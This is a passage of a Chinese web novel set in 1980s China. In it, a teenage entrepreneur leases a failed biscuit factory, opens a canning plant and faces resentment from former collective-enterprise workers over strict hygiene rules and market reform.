贺小弟被搓脸也不忘继续吃卷好的烤鸭,吃得一嘴都是酱。 烤鸭是费立广给自己开的小灶,用的是京式烤鸭做法,买回来的鸭子先不杀,关在笼子里填喂催肥,直到鸭子吃得肥白胖壮,这才宰杀褪毛。 费老头在吃上容易走极端,要么用咸菜面条糊弄着填饱肚子,要么食不厌精脍不厌细,做菜时要做到极致。 就比如说烤鸭用的木头,他特地到村里,找人买梨树的枯枝,一捆捆地背回来,堆到炉膛中,点燃后缓缓烘烤炉子里悬挂的光鸭。 为了这一口吃的,费立广也不嫌热,成天守在炉子前,时不时用挑杆调换鸭子的位置,让鸭子能受热均匀,皮下脂肪融化流匀,无论吃到哪块肉,都能够不腻不柴。 贺明军早就觊觎这一炉子烤鸭,偏偏费立广看得紧,不许旁人插手。 烤好的鸭子细细切成薄片,费立广没就荷叶饼,而是给自己准备了一瓶二锅头。 滋溜一口小酒,再来一口酥脆油润的烤鸭,吃得小老头满面红光。 晚上的时候贺明珠喊饿,但当时家里为了找她乱哄哄的,没来得及准备晚饭。 贺明军就想起了费立广那一炉子烤鸭,趁着他在后厨忙活上菜,偷偷摸摸挑了只最肥的鸭子,临走前对看到自己的纪平波嘘了一声,示意他别出声。 贺明军骑着自行车一路驰骋,烤鸭拎回家时还是滚烫的。 他唰唰几下把烤鸭切成薄片,每片上都有一层油润鸭皮。接着将从店里一并顺出来的荷叶饼和甜面酱摆上桌,再加上现削的葱丝和黄瓜丝。 没用多长时间,烤鸭和配菜就摆好了,有荤有素,还有主食,非常营养均衡。 贺家人是吃过好东西的,但对着这一份烤鸭也不禁连声赞叹。 果木烘烤的鸭肉有种独特的香气,鸭子皮下厚厚的脂肪在长时间的烘烤下融化,与原本干柴的鸭肉美妙地融合在一起,口感滋润而不油腻。 鸭皮酥脆,鸭肉鲜嫩,再加上薄而韧的荷叶饼,微辣的葱丝,清香爽口的黄瓜,以及滋味醇厚的甜面酱,一口吃下去,像是在味蕾上放烟花。 贺小弟连吃几个荷叶饼卷烤鸭,直到撑得小肚子鼓起,再也吃不下去了,这才依依不舍地下桌。 烤鸭可真好吃呀~ 贺小弟意犹未尽地回味,这次他有了新的演唱灵感。 “左手一只鸭,右手一只鸭,背上还背着一个胖鸭鸭呀,咿儿咿儿呀~” 贺家全体:!!! 糟糕,接下来要听三个月的《回鸭家》了!b 第126章 第126章罐头厂的筹办 有了厂房后,罐头厂的筹备工作开始有条不紊地推进。 巩副矿长通过自己的人脉关系,联系到一家空关 了几年的小集体厂房,原先是做饼干的,由于长期的经营不善而被迫关门停业。 贺明珠以劳动服务公司的名义去商谈租赁厂房的事宜,同比市面租金,对方提出的要价不算高,但有个额外条件,新厂要接收原饼干厂的职工。 这个要求说难不难,但说简单也不算简单。 罐头厂的职工还没有招聘,现在厂里名义上只有负责人贺明珠和副手杨冬梅,如果有一批具有食物加工经验的熟练工加入,可以极大降低后续的运营压力。 但问题毕竟现在罐头厂还在筹办、没有盈利的时候就要担负十几号人的工资和劳保,经济上的负担不可谓不大。 贺明珠思索片刻,同意接收饼干厂职工,但同时也提出要求,等罐头厂开起来后再接收这批职工,在此期间,依旧由饼干厂负责发放工资。 饼干厂的负责人面露难色。 由于饼干厂拿不到订单,已经停业很久了,全靠街道微薄的拨款,以及零星售卖出去的一些饼干存货的收入来维持每月的工资发放。 即便是已经将职工的工资压到最低了,每月才发十来块钱,但也已经无法继续支撑下去。 街道为了安置回城知青和待业青年,不止开办了饼干厂这一家小集体企业,还有纸盒厂、火柴厂等轻工业企业,虽然前期投入少,但由于没有技术壁垒,可替代性强,在市场上的竞争性约等于无。 这些小集体企业从开业以来就生意惨淡,全靠街道干部去国企化缘,零零散散拉几个订单回来,一年挣个上千来块钱,维持基本的运转。 而如今,市面上出现了越来越多的个体户,不仅勤劳能吃苦,一个人干三个人的活儿,而且善于钻营,把价格压得很低,抢走了不少的市场份额,把这些小集体企业挤得连落脚的地方都快没了。 街道本身经费有限,为数不多的拨款分到几个小集体企业时,就像往大饼上撒芝麻,看上去有,吃起来没,连虚假繁荣都称不上。 饼干厂早已弹尽粮绝,岌岌可危地摇晃在倒闭的边缘。 要不是为了解决就业、维护社会稳定的需要,街道早就将这些光赔钱不挣钱的小集体企业都关了。 如今有人找上门来要租赁厂房,还愿意接收原厂的职工,街道的人别提多高兴了。 可对方却不愿意现在就把职工这个大包袱接过去,还要等上几个月,这就让人有些为难了。 答应吧,饼干厂现在实在没钱发工资了;不答应吧,下一个冤大头不知在哪里。 饼干厂负责人就和贺明珠商量:“要不你一次性把一年的租金都付了吧。” 贺明珠没说话,杨冬梅先瞪起了眼睛。 “领导,这就不合适了吧?咱们说好的,厂房租一年,租金按季度付,毕竟厂子关了好几年,我们也要看看这里适不适合开罐头厂啊。” 饼干厂负责人诞笑着说:“适合,怎么不适合呢?你看我们厂子有自来水,还通了电,地面和墙面都用水泥抹过,一点灰也没有,干干净净的,最适合做罐头厂了。” 杨冬梅反驳道:“通水通电不是开厂的基本要求吗?这有什么值得拿出来说的?领导,我们不止是租了你们的厂房,还要接收你们厂的职工,将来要付的工资可是一大笔钱。你这会儿就要把一年的租金都收走,这我们以后还哪有钱再付工资呢?” 饼干厂负责人想了想,退了一步,提议道:“要不你们先付半年租金?” 他还哭起了穷:“我们厂现在账上是一分钱都没有了,下个月的工资还不知道从哪儿来……你们要是不想提前付租金也行,那你们现在就来管这些职工,总不能好处都被你们占了吧。” 杨冬梅反问他:“我们占什么好处了?” 饼干厂负责人眼中精光毕现,看看贺明珠,又看看杨冬梅,狡猾地说: “你们其实是个体户吧?别否认,我一眼就看出来,你们是挂了个集体企业的名,实际挣的钱都揣个人腰包了……你们个体户都能开厂子了,手里肯定不差钱;可我们就不行了,要是发不出工资,那些女工马上就要来闹事儿。” “你们想租我们厂的厂房,就得管我们厂的职工,要不然,回头她们要是拿不到工资闹起来,我可管不了,你们也不想开个厂子也开不安生吧。” 这话说得无赖极了,摆明了就是要罐头厂接下这个大包袱。 杨冬梅也算经过见过的,还是头一次见公家单位的领导耍赖,一时间瞠目结舌,甚至有点生气。 “您这话说的,好像这厂房我们非租不可了。” 贺明珠的声音清凌凌地响起,语带笑意,似乎并未动气。 “说实话,我来饼干厂走这一趟是看在别人的面子上,其实租不租的无所谓,对我来说,租什么厂房都一样,不租也行,村里多的是地,批块工业用地又不费事儿,还不用接收职工,轻装上阵,其实对我来说更有利。” 听到贺明珠的话,饼干厂的负责人一时间有些吃惊。 他原没太把这个小姑娘放在心上,虽然街道干部介绍时说她是什么一矿劳动服务公司的总经理,但见面时却发现她的年纪比自己闺女还小几岁。 要不是街道干部信誓旦旦地说她是来租厂房的,负责人还当是小年轻的恶作剧。 负责人仗着年纪大,想在租房条件上做手脚,使其对饼干厂更有利,哪怕是耍赖也无所谓。 可贺明珠却不吃这一套,摆出一副“谈崩就谈崩”的模样,反倒让负责人谨慎了几分。 “呃,这位,贺经理,不是我夸口,其他厂子不一定有我们饼干厂的好,你看这墙多厚,你看这地多平,那都是我们当年一砖一瓦亲自盖的,光是用料就比别的厂子扎实。而且我们是做饼干的,厂子这么多年都维护得干干净净,你要是租什么纸盒厂、火柴厂,那脏得都没法看,在那种厂子里做出来的罐头都不能吃。” 贺明珠不动声色地笑笑:“脏没关系,打扫干净就好了。而且我只租一年,以后要不要长租还两说呢,这厂房盖得再好,对租客来说,其实也没什么所谓。” 饼干厂负责人突然意识到饼干厂再好,可对于贺明珠来说,还没有好到有压倒性优势的地步。 而现在社会上小集体厂有多难做,负责人比在场的任何人都要清楚。 即使是一些努力维持运转的厂子,离关门倒闭也不过一步之遥。 就像饼干厂在烘焙市场上缺乏竞争力,饼干厂的厂房在租赁市场上也同样缺乏竞争力。 他立刻转变思路,换了更加的友好的语气说道: “哈哈,瞧我把话都说岔了,话题是越扯越远,真是人老了,总爱说些废话……话说回来,租金就按季度付吧,毕竟我们厂的账上的钱要是有富余,街道就要让我们支援支援其他厂子了……按季度付租金最合适,正好把欠的劳保慢慢补上,哈哈……” 杨冬梅听到这话,忍不住看了又看负责人。 这话说的,刚才还口口声声又是要求她们付一年租金,又是要付半年租金,不给就暗示让工人闹事。可现在反倒说按季度付租金最合适,婚礼上新人拿红包改口也没这么快的啊。 要不怎么能当领导呢,这一抹脸就把之前说过的话都吃了回去,一副若无其事的模样,好像她刚才听到的内容都是幻觉。 贺明珠了然地看了看负责人,直看得对方尴尬地扯出个笑。 她倒是也没抓着不放,敲定了租金的事,又说了些其他租赁条件,让杨冬梅记下,将来白纸黑字都要落到合同上。 但就关于接收饼干厂职工的人数上,双方又有了争议。 “不行,不行,工人都得去新厂上班,怎么能让你们挑人呢?这个去,那个不去,这不是影响工人的团结嘛。” 饼干厂负责人的脑袋摇得像拨浪鼓,说什么也不肯松口。 贺明珠很坚持,比之前商谈租金支付条件时还要坚持。 “必须要挑,罐头厂只接收符合标准的职工,不符合标准的一律不收。说到底,你们饼干厂当初在招聘职工时只考虑解决就业,政治挂帅而不是经济挂帅,对于职工的个人能力和工作态度都没有进行考核。虽然租赁所附条件是要接收饼干厂职工,但也不应该是无限度地接收,什么人都要。” 饼干厂负责人试图劝说贺明珠:“反正罐头厂也要招人,我们厂的工人都是熟手,而且政治清白,不比你在社会上招的乱七八糟的人好吗?” 贺明珠却说:“那也不一定,政治清白又不等于工作敬业。说起来国企里的人都经过政审,就没一个政治不清白的,可懒汉也不少,多的是上班打牌的。” 饼干厂负责人语塞,厚着脸皮说:“你就当是为了社会效益吧,毕竟我们厂的职工年纪也不小了,家里上有老下有小的,总不能让人家没工作吧。” 贺明珠一挑眉:“您之前可是说了,我这是个体户开厂,当然要以挣钱为主,不可能替小集体兜底。 再说了,谁说不来罐头厂上班就没工作了?那不还有你们饼干厂么,厂房虽然租出去了,可还有租金呢,正好用来付工资啊。” 饼干厂负责人恨不能缝住自己的嘴。 叫你眼尖,叫你嘴快,说什么个体户开厂子,这下好了,人家这下有理由不替小集体背包袱。 见负责人迟迟不开口,贺明珠催促道:“您要是没想好的话就先慢慢想,我们去其他厂子看看……” 饼干厂负责人忙道:“没没没,想好了想好了!就按你说得来,但……” 贺明珠问:“但什么?” 饼干厂负责人说:“你得给我透个底,你至少能接收多少工人?到时候你要是说我们厂的工人都不合格,一个都不接收怎么办?” 贺明珠说:“这我可给不了您准话,毕竟你们厂的工人是什么样的我还不知道,能收多少人现在确定不了。” 饼干厂负责人闻言有些失落。 他知道贺明珠说的是实话,可就是实话才让人郁闷。 在这场租赁谈判中,饼干厂是没资格谈条件的一方。 对于贺明珠而言,没有饼干厂,她还可以选其他厂子;可对于饼干厂来说,要是贺明珠不租,他们找不到下一家肯接手的单位。 饼干厂职工的工资和劳保像是滚雪球,刚开始时看着不起眼,可一日一日地累积下来,已经成了停工厂子无法承受之重了。 在后世厂办集体改制时,对这些大集体小集体企业进行摸排后,累积拖欠的工资和社保的金额非常夸张,甚至可以拖垮一家原本经营良好的国企。 饼干厂负责人苦涩地说:“唉,我们厂都是能干的好工人,要不是饼干实在是卖不出去,也不至于关了厂子。我没别的要求,就希望能给她们找个新工作,不然一直在家待着,会把人待废了的……” 他离退休没几年,事业上已经到头了,现在只想给手下工人找个好出路,也是一片好心。 贺明珠想了想,说:“虽然确定不了要接收多少工人,不过我可以给您句准话,但凡表现合格的工人,我都会接收,人数不设上限。” 听到贺明珠的话,饼干厂负责人转忧为喜。 “好,好,那咱们就说定了!” 大概是太高兴了,他爽快承诺:“要是有人在罐头厂表现不好,你随便退回饼干厂,我给你兜底!” 贺明珠忍不住笑了,有这句话,她对接下来的合作放心多了。 “行,那就预祝我们之后合作顺利。” 饼干厂负责人幽默道:“祝你们厂子越来越好,能够长长久久地租我们的厂房!” 厂房的事情一敲定,罐头厂的开办流程像是被安装上推进器,以惊人的速度完成营业前的一系列前置流程。 饼干厂所在的街道在得知厂房租赁谈拢,而且新厂同意接收原厂职工,支付工资和社保,不由得大喜。 可算甩出去一个光花钱不挣钱的大包袱! 为了让罐头厂尽快开业,街道干部甚至主动帮忙办理了食品加工所需的执照和许可。 在此期间,贺明珠找人对厂房进行了一次彻底的大清扫,并进行了简单的装修,使其更适合罐头厂的运转。 饼干厂负责人则协助安排职工参与考核,确认哪些人可以到罐头厂工作。 最后定下来的人数大概是饼干厂职工的三分之二,剩下的三分之一中,有的人是已经找到了新工作,一边拿着新工作的工资,一边领着饼干厂的保底工资,挣两份钱;有的人则是缺乏卫生意识,且缺乏改正的动力,不适合在食品加工企业工作。 此外,贺明珠还自掏腰包组织工人去医院进行了一次体检,按照最严苛的标准,凡是有传染病的都劝退,不留一丝卫生安全的隐患。 层层筛选后,剩下的人不管是学历低,还是年纪大,贺明珠都抬抬手让她们通过考核,如果后续表现不合格,再退回饼干厂那边。 一个多月后,随着一串串鲜红的鞭炮在厂房门前炸响,名为“煤矿人家”的罐头厂正式开门,开始了为期一月的试营业。 “哎,你也来这儿上班了?” “听说这家厂子给的工资高……” “纸盒厂外派的活儿越来越少,每个月就几块钱,连买菜都不够,还是得找个正经工作。” “你们听说了吗?罐头厂的老板是个小姑娘呢!” 罐头厂内,原饼干厂的工人们叽叽喳喳地聊着天,兴奋不已。 她们都是饼干厂招进来的女工,当初负责人觉得女人更爱干净,还心灵手巧,正适合做饼干,因此在招人时只选女性,熟人见了他就打趣,说他带了一群娘子军。 如今这帮娘子军被划归罐头厂麾下,领头的将军换成了杨冬梅。 杨冬梅拿了个扩音喇叭,滋啦一声刺耳的开机声,将众人的注意力都吸引过来。 “大家都安静,别说话,我是罐头厂的副厂长杨冬梅,以后大家就是同事了,有什么问题可以直接来找我。” 有年轻的女工喊道:“你是副厂长,那厂长哪儿去了?” 杨冬梅说:“厂长很忙,不会一直待在厂里,平时由我负责厂里的生产经营。” 又有女工问:“听说厂子是个上高中的小姑娘,这是真的吗?” 听到她的问题,下面的女工们悄声讨论起来。 “真的假的?老板还在上高中啊?” “这高中生能行吗?别把厂子干黄了吧……” “哎哟,我可是专门从外地回来上班的,这要是厂子黄了,我连外地的工作也没了啊……” 讨论声越来越大,杨冬梅严肃道:“安静!都静一静!” 扩音喇叭的声音巨大,原本还在互相讨论的众人被吓了一跳,抬头看向杨冬梅,目光中有怀疑,有不安,有没信心,看起来没有之前那么兴奋了。 “厂长是不是高中生并不影响她的经营能力,在罐头厂之前,她已经开过几家饭店和食堂,生意非常兴隆,在整个乌城都非常有名气,甚至外地的人都知道。所以大伙儿没必要担心,罐头厂不仅会开下去,而且会开得越来越好。” 听了杨冬梅的话,有人放下了心,有人却依旧质疑。 “厂长叫什么名字啊?” 杨冬梅说:“厂长叫贺明珠明珠,等一会儿她会来厂里和大家见一面,到时候大家就会认识她了。” 女工们叽叽喳喳地还想再讨论,却被杨冬梅打断。 “大家都静一静,今天虽然是试营业,但也要按照正常生产来。现在我先带你们了解一下罐头的制作流程,接下来进行分组,各组负责一个工序。好了,大家跟我来……” 当杨冬梅在努力管理女工时,另一头的贺明珠带着一批定制的玻璃罐子,坐着拖拉机赶回矿务局。 这批玻璃罐子数量不多,只有三千个,用作第一批试水的罐头包装。 贺明珠此前还没做过罐头,虽然对自己的厨艺有信心,但对需要高温蒸煮消毒的罐头食物的口味还没那么确定。 尽管她在确定开厂前自己试做了几个罐头,吃起来还算不错,贺家人连声赞叹,冯解放、曹全安这两个老厨子也说挺好吃。 只有费立广尝了一口,嫌弃地说:“这还不如我现做的呢!” 贺明军一把夺罐头,更加嫌弃地说:“那你别吃,自己做去吧。” 费立广觑了个空子,又把罐头抢回来,盖好瓶盖收起来。 “凭什么不吃,有现成的罐头,谁还费那劲儿去做饭啊!” 费立广嘴上嫌弃,但罐头可是一口没少吃,还厚着脸皮又找贺明珠讨了几个罐头。 虽然贺明珠自制罐头的反响还算不错,然而,对于需要大批量制作的工业食品来说,在任何一道工序上的偏移,都可能会造成最终成品口味发生极大的变化。 除此之外,贺明珠对于市场可能的反应也不得而知。或许人们会很喜欢煤矿人家的 罐头。供不应求;或许这批罐头投入市场后连个水声都听不到,默默无声地消失不见。 因此,贺明珠在开厂初期非常谨慎,步子迈得很小,每走一步前都考虑了风险的承担问题。 比如说,厂房只租一年,万一罐头厂经营不善,那租金方面亏损的金额也很有限; 又比如说,第一批试制的罐头只有三千个,要是玻璃罐子不适合,或者外形需要调整,船小好调头,可以尽快进行后续改良工作。 在正式开厂前,贺明珠在厂房里垒了大灶,订了大号蒸笼,买了封口机,还印了一批商标。 这些都好说,但唯独在玻璃罐子上出了问题。 由于贺明珠首批定制的罐头数量太少,只有三千个,大多数玻璃厂不愿意接订单。即使客户上门,也高傲地不愿意多搭理。 贺明珠连吃几道闭门羹,最后打听到县里有家快要倒闭的玻璃厂,便上门询问定制一事。 县玻璃厂虽然经营不善,但面对找上门的贺明珠,却依旧嫌订单数量太小。 玻璃厂的厂长还说:“你没必要专门定制玻璃罐,在我们仓库里捡几个罐子好了,省钱还方便。” 贺明珠却很坚持:“我们的罐头是要做成品牌的,不能随便用罐子,不然罐子长得不一样,下次顾客都不知道要买哪个……厂长同志,蚊子再小也是肉,三千个玻璃罐子虽然赚的不多,但也是有赚头的,拿了钱给职工发点奖金不好吗?” 玻璃厂的厂长被她磨得无奈,不得已答应定制三千个玻璃罐子。 除了贺明珠说的理由,还有一个原因就是玻璃厂不能停工,必须要一直运转,否则一旦停工,机器冷却后很容易无法开机。 因此,玻璃厂即使在倒闭边缘,也还是维持着最低限度的生产量。 在接下三千个玻璃罐子的订单后,没用多长时间,玻璃厂就通知贺明珠来取货。 贺明珠一接到玻璃厂的通知,立刻就找郝家村借了村里的拖拉机,用厚厚的稻草裹住脆弱的玻璃罐,一路颠簸着回到罐头厂。 罐头厂里的女工们,此时正等待着这位年轻的高中生厂长。 第127章 第127章管理风波 “你就是贺明珠贺老板?” “真的是她呀?那个高中生厂长?” 贺明珠坐着拖拉机回了罐头厂,正招呼杨冬梅带人来卸货时,一个年轻的女工好奇地凑上前。 “这个罐头厂是你开的吗?” 贺明珠擦了一把头上的汗,笑眯眯地说:“对,是我,有什么问题吗?” 年轻女工和同伴你推我挤,胆子大的上前问道:“听说你还在上学,学生可以当总经理吗?” 贺明珠反问:“为什么不可以?头衔只是虚名,能力才是关键。既然我能办厂开公司,别人干不成的事儿我干成了,当这个总经理不是理所应当的吗?” “可、可是你年纪还这么小……” 贺明珠扬眉:“能力和年纪没关系吧?有少年天才,也有白头庸人。甘罗十二岁当宰相,相比之下,我十七岁才开了家罐头厂,论起年少有为,我这还排不上行,还得继续努力呢。” 见这位小厂长说话风趣又亲切,女工们听后都嘻嘻哈哈地笑了起来。 等大家笑够了,贺明珠拍拍手,站到台阶上,将众人注意力都吸引过来。 “今天是和大伙儿第一次见面,虽然不算正式,但大家现在应该都认识我了。对于起步阶段的罐头厂来说,一切以务实为要,我们不来国企机关那套的繁文缛节。现在不讲究,以后也不讲究。” 听到贺明珠的话,其他人的声音渐渐低了下去,专心地听她发言。 “关于我这个人怎么样,说再多也没意义,以后大家有的是时间了解。相比于对我的好奇,目前你们更重要的任务是开始罐头厂的正常生产活动。目前厂里已经备好了所有生产需要的原材料,接下来就要看你们的了。无论是罐头的生产效率和质量,都直接关系到各位未来的工资和奖金,希望大家以更加认真负责的态度来对待这份工作。” 女工们见贺明珠言辞锋利,反应敏捷,严肃起来很有派头,不由得收起之前的轻视之心,以一种更加谨慎的态度来对待这位年轻的新厂长。 “贺、贺厂长。” 有女工不习惯地喊了一声“贺厂长”,捋顺舌头后问道:“你说的奖金是什么?是每个工人每个月都有,还是只给一部分人发?发奖金有什么条件吗?” 一说到钱,大伙儿都竖起耳朵,生怕漏掉哪一句话。 贺明珠答道:“既然你问到了,那我就简单说一下奖金的事吧。罐头厂每个月盈利的百分之一会用来给工人发奖金,不是大锅饭式分配,而是根据各生产组的工作表现来分配,有高有低,有多有少,全看大家的表现。” 百分之一的盈利用来发奖金?! 此言一出,女工们躁动起来,明显有些吃惊。 有人低声问身边的人:“百分之一的盈利有多少钱啊?” 被问的人说:“这我哪知道啊……不过以前咱们饼干厂每个月多的时候能赚几千块,少的时候就只有几百块,算下来,百分之一的盈利大概是几十块到几百块……” 问话的人有些不满地说:“这点钱要分给咱们厂这么多人,平均下来每个人也分不到多少钱啊。” 旁边的人纠正道:“人家老板说了,不是平均,有多有少呢。” 有女工又问贺明珠:“贺厂长,奖金是按什么标准分配的?要是我们已经努力工作,但厂子这个月卖不出去罐头、盈利不好,那奖金还发吗?” 听到她的话,旁边的人急忙拉了一下她的袖子。 现在罐头厂才开门,连第一个罐头还没造出来呢,就说这种不吉利的话,这不是成心给人找不痛快嘛。 贺明珠倒没不介意,只是笑着反问:“你对我们罐头厂的前景就这么不看好吗?” 女工没回应,小声嘀咕道:“那以前饼干厂的厂长也说厂子效益好,那不最后还是关门了吗……” 其他人没说话,但从表情来看,她们在心里是赞同这个女工的话。 杨冬梅急忙打圆场:“饼干厂是饼干厂,罐头厂是罐头厂,虽然用着同一个厂房,但是两家不同的厂子,不能拿饼干厂来类比我们罐头厂啊。” 女工们捧场地敷衍笑了笑,但显然,她们并没能听得进去杨冬梅的话。 贺明珠说:“关于罐头厂会不会是下一个饼干厂的问题,大家可以拭目以待,也可以在日常工作中对比一下两家厂子的不同之处。我只想说,罐头能不能做出来、做得好不好,需要大家共同协作;至于罐头能不能卖出去,就要看我的本事了。” 贺明珠将罐头销售的事情揽在自己身上,也就是说,如果罐头卖不出去、没有盈利的话,责任全部由她来承担。 听到这话,女工们不由得惊讶起来。 要知道当初饼干厂还开着时,负责人成天跑乌城大大小小的单位化缘,半卖半送,求着人家买一点他们厂的饼干,甚至还在街上摆摊,只是最后收效甚微,卖不出去的饼干在仓库堆成了小山,最后没办法,以饼干代替工资,给每个工人发了五斤饼干。 饼干厂的倒闭一方面是因为销售渠道堵塞,大量的饼干原材料和成品占据了绝大部分的现金流,却又无法变现,直接将生产→销售→再生产这个循环往复的过程给堵死了。 另一方便则是由于饼干做法老套,口味一成不变,而且由于在制作过程中缺少品控,导致出炉的饼干又硬又难吃,老头咬一口,连假牙都能崩飞。 因此,在没有解决以上两个问题的前提下,饼干厂负责人和女工们越努力越失败,朝着错误的方向一路狂奔,直到厂子彻底散摊子。 女工们隐约意识到这个问题,但作为普通工人,她们并没有改变的动力和权力。当 一天和尚撞一天钟,只要厂里还能发工资,饼干卖不卖得出去就和她们无关。 因为此前在统购统销体制下,饼干厂的生产任务是由街道下达的,原材料也是通过体制内途径而获得,他们无须考虑后续的销售,只需要按部就班地完成生产任务即可。 在僵化的计划经济体制下,这一套还行得通,毕竟体制内天然具有开厂特权,能够近乎无成本地与上游的供应商和下游的采购商建立排他性链接。 即使有厂子可以将饼干做得更好吃,但巧妇难为无米之炊,在无法取得原材料,且无法将成品售卖出去的情况下,这些体制外的厂子也只能抱憾关门。 然而,随着改革开放的大潮涌向全国,原本严丝合缝的体制被冲开了一道口子,将外界的空气送了进来,同时,也将“市场竞争”这个新鲜事物带到了所有人面前。 不出意料,习惯了张口等人喂饭的饼干厂缺乏竞争力,没过几年就倒闭关门了。 而女工们在失去稳定的工作后,在抱怨之余,也不禁开始思考和讨论饼干厂倒闭的原因。 如今,她们再次回到熟悉的厂房,所面对的却是陌生的厂名,和更加陌生的管理模式,饶是已经做足了心理准备,但依旧会忍不住一惊一乍。 “我已经洗手了,为什么还要再洗一遍?” “你刚刚洗的姿势不对,手臂和手腕没有清洗到,必须重新消毒。” “那我已经按照要求洗了胳膊,为什么还是不行?” “你洗完手后又系了鞋带,碰到了不干净的区域,当然要重新洗一遍。” “你们这要求太严了,怎么连戴帽子都要管?” “头发必须全部扎进帽子里,不然要是在罐头里掉一根头发丝,客人吃到了得多膈应。” “以前我们饼干厂也没这么多事儿啊……” “所以这就是为什么饼干厂关了门,还把厂房租给罐头厂的原因。” 杨冬梅的管理非常严格,她之前在饭店和食堂的时候,就是出了名的爱干净,徐和平被管得叫苦不迭,看到她就像老鼠看到猫,撒丫子就溜墙根跑了。 如今杨冬梅把她对卫生的严格要求用在了罐头厂的日常管理,在饼干厂工作时自由散漫惯了的女工们自然叫苦不迭。 “杨主任,你也是给罐头厂打工的,没必要管得这么严,差不多就行了。” 杨冬梅断然拒绝:“既然贺厂长让我管这一摊子事儿,那我就要彻底管好,不能辜负贺厂长的信任。你们也是一样,既然选择来罐头厂工作,就必须按规章制度来,谁都不能例外。” 罐头厂的严格管理不仅体现在卫生操作的要求上,还有对于罐头制作的每一道工序的管理上,这种严格甚至可以称之为苛刻。 比如食物要切成什么形状,加多少克的调料,在火上炖煮多久,装罐时水平线高低,以及罐头的高温消毒时长等等,事无巨细到了繁杂的地步。 有的女工受不了这样严苛的管理,试图悄悄偷个懒,盐随便撒一把就好,炉子烧的火大火小都无所谓,食物煮熟了能吃就行,没必要要求那么多。 但杨冬梅看得很紧,很快就发现了这些小动作。 她非常严肃地指出对方的错误,并要求立刻改正。 偷懒的女工不服气地说:“不就是煮熟了菜再装罐子里么,哪儿来那么多的要求。我看按我的法子来,这菜不也挺好吃的吗?再说了,咱们自己在家做饭也没这么多的事儿,差不多就行了,给大家伙儿都省点事儿。” 罐头厂内面积不大,开阔的空间里说话声传得很广,众人停下手上的活儿,竖起了耳朵,等着看杨冬梅是什么反应。 虽然有工作是好,可要是能少干点活儿就更好了。 “罐头厂没有‘差不多’这三个字,如果你是抱着‘差不多’的想法来的话,我认为你并不适合留在我们厂里上班。” 杨冬梅的话让在场所有人的心都提了起来,没想到她会这么不留情面。 “这里是罐头厂,制作的食物是要卖到千家万户,不是你自家做饭,随自己心意怎么来都行。要让人家掏钱买我们的罐头,就必须要好吃,绝对不能出现今天咸了明天淡了的问题。如果你没有这种尊重客户的意识,那你就不应该来这里。” 杨冬梅的话很重,偷懒女工被说得满脸涨红,声音尖利地说:“什么尊重客户,你们不就是想挣钱吗?!” “对,我们是想挣钱。” 贺明珠的声音突然响起,众人吃惊地看去,只见她不知什么时候出现在罐头厂。 “开办罐头厂的目的就是为了挣钱,这是最实在的实话,不掺一点水分。如果挣不了钱,那厂子就买不起原材料,卖不出去罐头,也就发不了工人的工资,更没办法继续开门营业。你要是觉得挣钱是不对的,那你为什么要来罐头厂上班呢?” 贺明珠的话尖锐极了,毫不留情地撕破温情款款的薄纱,将赤|裸裸的残酷现实摆在众人面前。 “如果有任何人试图阻碍罐头厂赚钱,不管是故意还是无心,不好意思,罐头厂不需要你,你可以另找下家。如果有人不能接受我的观念,也别为了工资为难自己,咱们好聚好散。” 女工们一时间哗然,没想到这个面嫩的小厂长居然会说出这样毫不留情的话,这简直是逼着人走。 偷懒女工一时间说不出话,想留下,却不愿意服软;想走,又不舍得罐头厂的工资。 和她关系好的女工拉了拉她的袖子,示意她别再说了,认个错吧。 杨冬梅向贺明珠点头示意,板起脸大声地说:“在进厂之前,我就和大伙儿说了,我们厂的要求是很严格的,如果不能接受的话,可以选择不来。既然大家来上班了,就说明你们还是认可严格要求的。既然如此,我希望以后大家在工作中不要再有‘差不多’这种思想,也不要再拿饼干厂和罐头厂来作比较。到什么山头唱什么歌,既然来了罐头厂,就要按罐头厂的规矩来!如果心里还惦记着饼干厂,那就回饼干厂去吧!” 杨冬梅不希望之后再发生类似的事,再加上有贺明珠在场,她难得将话说得很重,甚至有些难听,在场的前饼干厂工人们都有些别扭。 “暴发户有什么了不起……” 一道低低的声音从人群中传来,贺明珠凝神看去,没找出说话的人,她扬声道: “有什么意见可以当面说,没必要偷偷摸摸地抱怨。” “我说你不就是个暴发户吗?!” 偷懒女工涨红了一张脸,不知是气还是羞,愤怒地从嗓子眼挤出一声咆哮。 “你抢了我们饼干厂的厂房,还逼我们给你干活,你和旧社会的资本家有什么区别!” 关系好的女工没拦住她,急得不行,低声地劝:“别说了,别说了……” 偷懒女工气到失去理智,甩开对方的手,张牙舞爪地冲贺明珠大喊。 “你凭什么!凭什么!不就是有钱吗,凭什么抢我们厂的房子,凭什么要按你的要求来!我们饼干厂原来好好的,都怪你们这些个体户,抢走了生意,害得我们厂子倒闭,让我们这么多人都没工作!你还要抢我们厂房,我们饼干厂好好的牌匾都被改成了什么煤矿人家,是你们先欺负人的!” 偷懒女工将她这么多年的怨气全部倾斜出来,此时的贺明珠已经不再是罐头厂的厂长,而是代表了所有和饼干厂抢生意的个体户,就是因为他们的存在,原本稳定运转的饼干厂被迫倒闭,连作为象征的厂房也被租了出去。 对于有着根深蒂固“以厂为家”思想的人来说,这不啻于是晴天霹雳。 原本作为社会歧视链顶端的国企职工,在失去单位和编制后,像是由云层跌落到了烂泥里。 在八九十年代国企成批倒闭的背景下,抱着“铁饭碗”观念的国企职工被迫离开了由单位所构筑而成的、包办了生老病死的“小社会”,这就像 是将一个人从温暖的室内强行扯出来,赤身裸|体地丢到了西伯利亚冰原,任由外界残酷的寒风摧毁他的意志和肉|体。 不知何时,偷懒女工脸上已经泪流满面。 “为什么要有你们这些个体户?为什么要把我们饼干厂给弄没了?我好好的饼干厂,怎么就说没就没呢……” 听到偷懒女工的话后,人群嗡地一声躁动起来。 有的人脸上露出同样悲伤的表情,有的人沮丧地垂下了头,也有的人惊疑不定,不安极了,不知要站在哪一边。 这是没在国企小社会长时间生活过的人所无法理解的感情。 即使明知单位存在诸多问题,即使自己也经常对单位内部的腐败和僵化骂娘,可也就像是自家孩子只有自己能骂一样,当单位真的倒闭关门,原来的标志性建筑挂上了名字陌生的牌匾,还是会让人感到深深的难过与不适。 女工们都知道饼干厂倒闭的事怨不到罐头厂,它们甚至都不是竞争对手,但还是无法避免地产生一丝半点的埋怨。 为什么饼干厂会没了…… 为什么熟悉的厂房里现在开着的却是陌生的罐头厂…… 市场经济的概念太过虚无,如果去怨恨哈耶克的大手,就像是在对空气挥拳,毫无一丝成就感。 